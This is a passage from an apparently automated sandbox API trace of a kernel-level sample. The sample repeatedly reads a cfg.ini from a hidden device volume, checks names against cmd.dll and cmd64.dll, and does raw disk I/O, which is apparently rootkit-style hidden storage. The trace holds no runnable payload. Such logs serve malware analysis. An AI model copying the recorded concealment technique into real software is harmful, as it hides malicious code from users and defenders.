FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.070] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.070] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.070] KeLeaveCriticalRegion () [0119.070] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.070] KeEnterCriticalRegion () [0119.070] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.070] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.070] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa8500, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.070] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.070] KeLeaveCriticalRegion () [0119.070] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.070] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.070] KeEnterCriticalRegion () [0119.070] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.070] ExFreePoolWithTag (P=0xfffffa80039d3bb0, Tag=0x0) [0119.070] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.070] KeLeaveCriticalRegion () [0119.070] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.070] ReleaseMutex (hMutex=0xf0) returned 1 [0119.070] Sleep (dwMilliseconds=0x124f80) [0119.089] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.089] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.089] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.089] KeEnterCriticalRegion () [0119.089] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.089] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.089] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.089] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.089] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.089] IdePortDispatch () returned 0x103 [0119.090] KeWaitForMutexObject () returned 0x0 [0119.090] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.090] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.090] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.090] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.090] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.090] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbf240 [0119.090] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.090] KeLeaveCriticalRegion () [0119.090] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.090] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.090] KeEnterCriticalRegion () [0119.090] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.090] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.090] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.090] KeLeaveCriticalRegion () [0119.090] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.090] KeEnterCriticalRegion () [0119.090] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.090] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.090] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.090] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.090] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.090] IdePortDispatch () returned 0x103 [0119.091] KeWaitForMutexObject () returned 0x0 [0119.091] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.091] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.091] KeLeaveCriticalRegion () [0119.091] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.091] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.091] KeEnterCriticalRegion () [0119.091] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.091] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c65000 [0119.091] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.091] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.091] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.091] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.091] IdePortDispatch () returned 0x103 [0119.091] KeWaitForMutexObject () returned 0x0 [0119.091] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.091] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.091] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.091] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.091] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.091] IdePortDispatch () returned 0x103 [0119.092] KeWaitForMutexObject () returned 0x0 [0119.092] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.092] KeLeaveCriticalRegion () [0119.092] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.092] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.092] KeEnterCriticalRegion () [0119.092] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.092] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.092] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.093] KeLeaveCriticalRegion () [0119.093] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.093] KeEnterCriticalRegion () [0119.093] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.093] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.093] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa86b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.093] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.093] KeLeaveCriticalRegion () [0119.093] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.093] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.093] KeEnterCriticalRegion () [0119.093] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.093] ExFreePoolWithTag (P=0xfffffa8003bbf240, Tag=0x0) [0119.093] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.093] KeLeaveCriticalRegion () [0119.093] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.093] ReleaseMutex (hMutex=0xf0) returned 1 [0119.093] Sleep (dwMilliseconds=0x124f80) [0119.112] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.112] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.112] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.112] KeEnterCriticalRegion () [0119.112] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.112] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.112] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.112] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.112] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.112] IdePortDispatch () returned 0x103 [0119.112] KeWaitForMutexObject () returned 0x0 [0119.112] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.112] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.112] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.112] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.112] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.113] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbf2f0 [0119.113] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.113] KeLeaveCriticalRegion () [0119.113] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.113] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.113] KeEnterCriticalRegion () [0119.113] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.113] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.113] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.113] KeLeaveCriticalRegion () [0119.113] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.113] KeEnterCriticalRegion () [0119.113] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.113] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.113] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.113] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.113] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.113] IdePortDispatch () returned 0x103 [0119.114] KeWaitForMutexObject () returned 0x0 [0119.114] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.114] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.114] KeLeaveCriticalRegion () [0119.114] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.114] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.114] KeEnterCriticalRegion () [0119.114] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.114] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c6a000 [0119.114] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.114] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.114] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.114] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.114] IdePortDispatch () returned 0x103 [0119.114] KeWaitForMutexObject () returned 0x0 [0119.114] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.114] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.114] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.114] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.114] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.114] IdePortDispatch () returned 0x103 [0119.115] KeWaitForMutexObject () returned 0x0 [0119.115] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.115] KeLeaveCriticalRegion () [0119.115] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.116] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.116] KeEnterCriticalRegion () [0119.116] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.116] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.116] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.116] KeLeaveCriticalRegion () [0119.116] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.116] KeEnterCriticalRegion () [0119.116] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.116] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.116] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.116] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.116] KeLeaveCriticalRegion () [0119.116] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.116] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.116] KeEnterCriticalRegion () [0119.116] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.116] ExFreePoolWithTag (P=0xfffffa8003bbf2f0, Tag=0x0) [0119.116] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.116] KeLeaveCriticalRegion () [0119.116] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.116] ReleaseMutex (hMutex=0xf0) returned 1 [0119.116] Sleep (dwMilliseconds=0x124f80) [0119.135] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.135] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.135] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.135] KeEnterCriticalRegion () [0119.135] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.135] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.135] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.135] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.135] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.135] IdePortDispatch () returned 0x103 [0119.135] KeWaitForMutexObject () returned 0x0 [0119.136] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.136] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.136] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.136] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.136] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.136] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa84e0 [0119.136] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.136] KeLeaveCriticalRegion () [0119.136] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.136] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.136] KeEnterCriticalRegion () [0119.136] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.136] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.136] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.136] KeLeaveCriticalRegion () [0119.136] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.136] KeEnterCriticalRegion () [0119.136] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.136] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.136] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.136] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.136] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.136] IdePortDispatch () returned 0x103 [0119.137] KeWaitForMutexObject () returned 0x0 [0119.137] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.137] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.137] KeLeaveCriticalRegion () [0119.137] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.137] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.137] KeEnterCriticalRegion () [0119.137] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.137] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c6f000 [0119.137] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.137] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.137] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.137] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.137] IdePortDispatch () returned 0x103 [0119.137] KeWaitForMutexObject () returned 0x0 [0119.137] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.137] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.137] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.137] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.137] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.137] IdePortDispatch () returned 0x103 [0119.138] KeWaitForMutexObject () returned 0x0 [0119.138] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.138] KeLeaveCriticalRegion () [0119.138] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.138] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.138] KeEnterCriticalRegion () [0119.138] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.138] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.138] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.138] KeLeaveCriticalRegion () [0119.139] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.139] KeEnterCriticalRegion () [0119.139] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.139] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.139] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa8800, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.139] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.139] KeLeaveCriticalRegion () [0119.139] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.139] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.139] KeEnterCriticalRegion () [0119.139] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.139] ExFreePoolWithTag (P=0xfffffa8003aa84e0, Tag=0x0) [0119.139] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.139] KeLeaveCriticalRegion () [0119.139] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.139] ReleaseMutex (hMutex=0xf0) returned 1 [0119.139] Sleep (dwMilliseconds=0x124f80) [0119.154] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.154] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.154] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.154] KeEnterCriticalRegion () [0119.154] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.154] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.154] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.154] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, 